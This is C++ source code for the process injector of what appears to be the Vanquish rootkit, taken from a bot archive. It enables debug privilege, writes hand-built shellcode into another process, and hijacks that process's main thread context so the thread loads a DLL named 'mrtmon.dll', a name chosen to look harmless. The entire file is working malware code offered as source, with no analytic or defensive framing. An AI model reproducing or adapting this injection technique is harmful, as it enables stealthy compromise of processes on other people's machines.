www.pudn.com > abot.rar > Injector.cpp, change:2007-05-12,size:12590b


/******************************************************************************\ 
 
	Vanquish Injector - Copyright (c)2003-2005 XShadow, All rights reserved. 
 
	This program is free software; you can redistribute it but not modify 
	it under the terms of license.txt file that came with this package 
 
	This program is distributed in the hope that it will be useful, 
	but WITHOUT ANY WARRANTY; without even the implied warranty of 
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 
	license for more details. 
 
\******************************************************************************/ 
 
#include "Injector.h" 
#include "Utils.h" 
 
EXTERN_MODULE(KERNEL32); 
 
//the thread information block (same linear address for different processes) 
LPVOID lpTIB = NULL; 
 
//dll injection debug privilege token size 
const DWORD MAX_TOKENPRIVILEGES = 1024; 
 
//injector string 
LPCWSTR INJECTOR = L"mrtmon.dll"; 
const DWORD INJECTOR_STRSIZE = 32; //enough space for injector string 
 
LPVOID lpfnLoadLibraryW = NULL; //functions in injected code 
LPVOID lpfnFreeLibrary = NULL; //functions in injected code 
DWORD dwDebugPrivilege = 0; //is privilege activated? 
LUID luidValue; 
 
extern HMODULE ghVanquishImage; //in Hooker.cpp 
 
///////////////////////////////DEBUG PRIVILEGE////////////////////////////////// 
 
//test for and enable privilege module if it is the case 
void Vanquish_InitDebugPrivilege() 
{ 
	HANDLE hToken; 
	PTOKEN_PRIVILEGES lptkpCurrent = NULL; 
	DWORD n, i; 
 
	//by default we don't know what to expect; better safe than sorry... 
	dwDebugPrivilege = 0; 
 
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidValue)) goto cleanup; 
 
	lptkpCurrent = (PTOKEN_PRIVILEGES)VRTAlloc(MAX_TOKENPRIVILEGES); 
	if (!lptkpCurrent) goto cleanup; 
 
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) goto cleanup; 
 
	if (!GetTokenInformation(hToken, TokenPrivileges, lptkpCurrent, MAX_TOKENPRIVILEGES, &n)) goto cleanup; 
	 
	n = lptkpCurrent->PrivilegeCount; 
	for (i = 0; i < n; i++) 
	{ 
		if ((lptkpCurrent->Privileges[i].Luid.HighPart == luidValue.HighPart) && (lptkpCurrent->Privileges[i].Luid.LowPart == luidValue.LowPart)) 
		{ 
			if ((lptkpCurrent->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED_BY_DEFAULT) == SE_PRIVILEGE_ENABLED_BY_DEFAULT) 
				dwDebugPrivilege = 1; //we don't need privilege enable; it is default! 
 
			if ((lptkpCurrent->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) == SE_PRIVILEGE_ENABLED) 
				dwDebugPrivilege = 1; //we don't need privilege enable; it is enabled! 
			break; 
		} 
	} 
 
cleanup: 
	if (lptkpCurrent) VRTFree(lptkpCurrent); 
} 
 
//enable debug privilege 
BOOL Vanquish_BeginDebugPrivilege(HANDLE hToken, PTOKEN_PRIVILEGES lptkpNew, PTOKEN_PRIVILEGES lptkpOld) 
{ 
	//already debug privilege owner 
	if (dwDebugPrivilege == 1) return TRUE; 
 
	BOOL retValue = FALSE; 
	DWORD dwSize; 
 
	DWORD dwCheckPoint = 0; 
	char *CheckTable[5] = { 
		"VRTAlloc(OLD)", 
		"VRTAlloc(NEW)", 
		"OpenProcessToken", 
		"AdjustTokenPrivilege" 
	}; 
 
	lptkpOld = (PTOKEN_PRIVILEGES)VRTAlloc(MAX_TOKENPRIVILEGES); 
	if (!lptkpOld) goto cleanup; 
	dwCheckPoint++; 
 
	lptkpOld->PrivilegeCount = MAXDWORD; //for cleanup 
 
	lptkpNew = (PTOKEN_PRIVILEGES)VRTAlloc(MAX_TOKENPRIVILEGES); 
	if (!lptkpNew) goto cleanup; 
	dwCheckPoint++; 
 
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) goto cleanup; 
	dwCheckPoint++; 
 
	lptkpNew->PrivilegeCount = 1; 
	lptkpNew->Privileges[0].Luid = luidValue; 
	lptkpNew->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
	SetLastError(ERROR_SUCCESS); 
	AdjustTokenPrivileges(hToken, FALSE, lptkpNew, MAX_TOKENPRIVILEGES, lptkpOld, &dwSize); 
	if (GetLastError() != ERROR_SUCCESS) goto cleanup; 
	dwCheckPoint++; 
 
	//Vanquish_Dump("DEBUG privilege enabled!"); 
	dwDebugPrivilege = 1; 
	retValue = TRUE; 
 
cleanup: 
	if (lptkpNew) VRTFree(lptkpNew); //the other one is freed on end privilege call 
	/* 
	if (!retValue) 
	{ 
		VRTWriteLog(TRUE, GetLastError(), NULL, "Vanquish - Cannot enable DEBUG privilege!\r\n"); 
		dwDebugPrivilege = 0; 
	} 
	*/ 
	return retValue; 
} 
 
void Vanquish_EndDebugPrivilege(HANDLE hToken, PTOKEN_PRIVILEGES lptkpOld) 
{ 
	//restore old process privileges 
	if (lptkpOld) 
	{ 
		dwDebugPrivilege = 0; 
		if (lptkpOld->PrivilegeCount != MAXDWORD) 
			AdjustTokenPrivileges(hToken, FALSE, lptkpOld, 0, NULL, NULL); 
		VRTFree(lptkpOld); 
	} 
} 
 
/////////////////////////////PROCESS INJECTOR/////////////////////////////////// 
 
//get address of a module function 
LPVOID Vanquish_ModuleFunction(LPCTSTR lpszAPIFunction, HMODULE hModule) 
{ 
	LPVOID ret = NULL; 
 
	if (!hModule) return NULL; 
	ret = GetProcAddress(hModule, lpszAPIFunction); 
	return ret; 
} 
 
//prepare the injector 
//MUST BE CALLED FROM THE MAIN THREAD ONLY!!! 
BOOL Vanquish_PrepareInjector() 
{ 
	//prepare debug privilege 
	Vanquish_InitDebugPrivilege(); 
 
	//find out the base address for pid of main thread 
	__asm push eax 
	__asm mov eax, fs:[0x18] 
	__asm add eax, 0x24 
	__asm mov [lpTIB], eax 
	__asm pop eax 
 
	//update the LoadLibraryW address 
	lpfnLoadLibraryW = ADDR_OF(LoadLibraryW, KERNEL32); 
	if (!lpfnLoadLibraryW) 
	{ 
		//VRTWriteLog(FALSE, 0, NULL, "Prepare injector failed! Cannot find address of LoadLibraryW\r\n"); 
		return FALSE; 
	} 
 
	//update the FreeLibrary address 
	lpfnFreeLibrary = ADDR_OF(FreeLibrary, KERNEL32); 
	if (!lpfnLoadLibraryW) 
	{ 
		//VRTWriteLog(FALSE, 0, NULL, "Prepare injector failed! Cannot find address of FreeLibrary\r\n"); 
		return FALSE; 
	} 
	return TRUE; 
} 
 
////////////////////////THE NEW INJECTOR!/////////////////////////////////////// 
 
//the shellcode [Context Fixer] 
/* 
void __declspec(naked) blah() 
{ 
	__asm pushad 
	__asm push 0x0012fab4 //patched dynamically 
	__asm call 0x77e7d961 //patched dynamically 
	__asm popad 
	__asm ret 
} 
*/ 
 
//the shellcode in usable form [Context Fixer] 
//pack tightly or it will not work 
//TO DO: add instruction for memory unallocation with fake return in the shellcode... :) 
#pragma pack(push) 
#pragma pack(1) 
struct NewInjector { 
	unsigned char InjectorName[INJECTOR_STRSIZE]; 
	unsigned char PUSHFD; //pushfd 
	unsigned char PUSHAD; //pushad 
	unsigned char PUSHDW; //push the next dword 
	DWORD argLoadFreeLib; 
	unsigned char MOVESIDW; //mov esi, the next dword 
	DWORD addrLoadFreeLib; 
	unsigned char CALLESI1; //call esi 
	unsigned char CALLESI2; //call esi 
	unsigned char POPAD; //popad 
	unsigned char POPFD; //popfd 
	unsigned char RET; //ret 
}; 
#pragma pack(pop) 
 
const DWORD NEWINJECTOR_SIZE = sizeof(struct NewInjector); 
 
//inject a dll in a process 
//DWORD dwSuspend, DWORD dwResume, 
BOOL Vanquish_SafeInjectProcess(LPPROCESS_INFORMATION pi, DWORD dwFlags) 
{ 
	//pre-check for bogus process info (e.g. System Idle) 
	if ((pi->dwProcessId <= 4) && (pi->hProcess == NULL)) return FALSE; 
 
	BOOL bSuccess = FALSE; 
 
	HANDLE hProcess = NULL, hThread = NULL; 
	BOOL bProcess = FALSE, bThread = FALSE; 
	DWORD dwThreadId, dwActual; 
 
	BEGIN_DEBUGPRIVILEGE 
 
	//handles have precendence over IDs 
	if (pi->hProcess == NULL) 
	{ 
		//hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi->dwProcessId); 
		hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pi->dwProcessId); 
		if (!hProcess) goto cleanup; 
		bProcess = TRUE; 
	} 
	else 
		hProcess = pi->hProcess; 
 
	//handles have precendence over IDs 
	if (pi->hThread == NULL) 
	{ 
		dwThreadId = pi->dwThreadId; 
 
		//no thread id 
		if (dwThreadId == 0) 
		{ 
			//read the ThreadId from the proc - PROCESS_VM_READ | PROCESS_VM_OPERATION 
			if (!ReadProcessMemory(hProcess, lpTIB, (LPVOID)&dwThreadId, sizeof(DWORD), &dwActual)) goto cleanup; 
 
			//check if we read it all 
			if (dwActual != sizeof(DWORD)) goto cleanup; 
		} 
 
		hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, 0, dwThreadId); 
		if (!hThread) goto cleanup; 
		bThread = TRUE; 
	} 
	else 
		hThread = pi->hThread; 
 
	//TO DO: after injection resume to IDLE; don't think it's possible 
	//actually do it 
	if (GetThreadPriority(hThread) == IDLE_PRIORITY_CLASS) 
		SetThreadPriority(hThread, THREAD_PRIORITY_NORMAL); 
 
	//TO DO: make sure code is executed by checking return value of suspend thread and calling resume as many times as possible 
	//then put them back in place; don't think is possible 
	if ((dwFlags & VANQUISHINJECT_PRESUSPENDTHREAD) == VANQUISHINJECT_PRESUSPENDTHREAD) SuspendThread(hThread); //need THREAD_SUSPEND_RESUME 
	bSuccess = Vanquish_SafeInjectDLL(hProcess, hThread, dwFlags); 
	if ((dwFlags & VANQUISHINJECT_POSTRESUMETHREAD) == VANQUISHINJECT_POSTRESUMETHREAD) ResumeThread(hThread); //need THREAD_SUSPEND_RESUME 
 
cleanup: 
 
	if (bThread) CloseHandle(hThread); 
	if (bProcess) CloseHandle(hProcess); 
 
	END_DEBUGPRIVILEGE 
 
	return bSuccess; 
} 
 
//TO DO: add instruction for memory unallocation with fake return in the shellcode... :) 
 
//inject dll when we have a handle both to process and main thread 
//minimum required PROCESS_VM_WRITE | PROCESS_VM_OPERATION for process 
//                 THREAD_SET_CONTEXT | THREAD_GET_CONTEXT for thread 
//N.B: hThread must be suspended first or we can fu*k the process! 
BOOL Vanquish_SafeInjectDLL(HANDLE hProcess, HANDLE hThread, DWORD dwFlags) 
{ 
	if (!hProcess) return FALSE; 
	if (!hThread) return FALSE; 
 
	BOOL bSuccess = FALSE; 
 
	HANDLE hNew = NULL; 
	DWORD dwActual; 
	LPVOID lpBase = NULL; 
	CONTEXT ctx; 
	struct NewInjector NEWINJECTOR; 
 
	DWORD dwCheckPoint = 0; 
	char *CheckTable[7] = { 
		"GetThreadContext", 
		"VirtualAllocEx", 
		"WriteProcessMemory", 
		"VerifyWriteProcessMemory", 
		"WriteProcessMemory(ESP)", 
		"VerifyWriteProcessMemory(ESP)", 
		"SetThreadContext" 
	}; 
 
	//process sync so that there is only one injection at a time in the system 
	VRTCommonExecutionBegin(); 
 
	BEGIN_DEBUGPRIVILEGE 
 
	//get context 
	ctx.ContextFlags = CONTEXT_FULL; 
	if (!GetThreadContext(hThread, &ctx)) goto cleanup; 
	dwCheckPoint++; 
 
	//allocate space for function - PROCESS_VM_OPERATION 
	//this will be leaked 
	if ((lpBase = VirtualAllocEx(hProcess, NULL, NEWINJECTOR_SIZE, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)) == NULL) goto cleanup; 
	dwCheckPoint++; 
 
	//FOR TESTING; DO NOT UNCOMMENT OTHERWISE 
	//lpBase = &NEWINJECTOR; 
	//END TESTING; 
 
	//setup code 
	lstrcpyW((LPWSTR)(NEWINJECTOR.InjectorName), INJECTOR); //put it into place 
	NEWINJECTOR.PUSHFD = 0x9c; 
	NEWINJECTOR.PUSHAD = 0x60; 
	NEWINJECTOR.PUSHDW = 0x68; 
	NEWINJECTOR.argLoadFreeLib = ((dwFlags & VANQUISHINJECT_UNLOADVANQUISH) == VANQUISHINJECT_UNLOADVANQUISH) ? VANQUISH_DLL_UNLOAD_KEY : (DWORD)lpBase; 
	NEWINJECTOR.MOVESIDW = 0xbe; 
	NEWINJECTOR.addrLoadFreeLib = ((dwFlags & VANQUISHINJECT_UNLOADVANQUISH) == VANQUISHINJECT_UNLOADVANQUISH) ? (DWORD)lpfnFreeLibrary : (DWORD)lpfnLoadLibraryW; 
	NEWINJECTOR.CALLESI1 = 0xff; NEWINJECTOR.CALLESI2 = 0xd6; 
	NEWINJECTOR.POPAD = 0x61; 
	NEWINJECTOR.POPFD = 0x9d; 
	NEWINJECTOR.RET = 0xc3; 
 
	//FOR TESTING; DO NOT UNCOMMENT OTHERWISE 
	//dwActual = (DWORD)lpBase + INJECTOR_STRSIZE; 
	//__asm call [dwActual] 
	//END TESTING; 
	 
	//write the injector code - PROCESS_VM_WRITE & PROCESS_VM_OPERATION 
	if (!WriteProcessMemory(hProcess, lpBase, (LPVOID)&NEWINJECTOR, NEWINJECTOR_SIZE, &dwActual)) goto cleanup; 
	dwCheckPoint++; 
 
	//check if we wrote all of the injector code 
	if (dwActual != NEWINJECTOR_SIZE) goto cleanup; 
	dwCheckPoint++; 
 
	//***BEGIN simulate a stdcall to Context Fixer 
 
	//simulate push of the ret addr (eip) 
	ctx.Esp -= 4; 
	if (!WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, &(ctx.Eip), sizeof(DWORD), &dwActual)) goto cleanup; 
	dwCheckPoint++; 
 
	//check if we wrote all of the eip to stack 
	if (dwActual != sizeof(DWORD)) goto cleanup; 
	dwCheckPoint++; 
 
	//simulate jmp to our code 
	ctx.Eip = (DWORD)lpBase + INJECTOR_STRSIZE; 
	//description:            ^to skip buf 
 
	//***END simulate a stdcall to Context Fixer 
 
	//update context 
	if (!SetThreadContext(hThread, &ctx)) goto cleanup; 
 
	bSuccess = TRUE; 
 
cleanup: 
 
	if (!bSuccess) 
	{ 
		dwActual = GetLastError(); 
		VRTWriteLog(TRUE, dwActual, NULL, "BRiDE - FAILED:\r\n%s\r\n", CheckTable[dwCheckPoint]); 
	} 
 
	//free up memory; DOESN'T WORK BECAUSE WE WILL CRASH THE TARGET 
	//if (lpBase) VirtualFreeEx(hTarget, lpBase, 0, MEM_RELEASE); 
 
	END_DEBUGPRIVILEGE 
 
	//release execution sync(other injectors cand do their job now!) 
	VRTCommonExecutionEnd(); 
 
	return bSuccess; 
}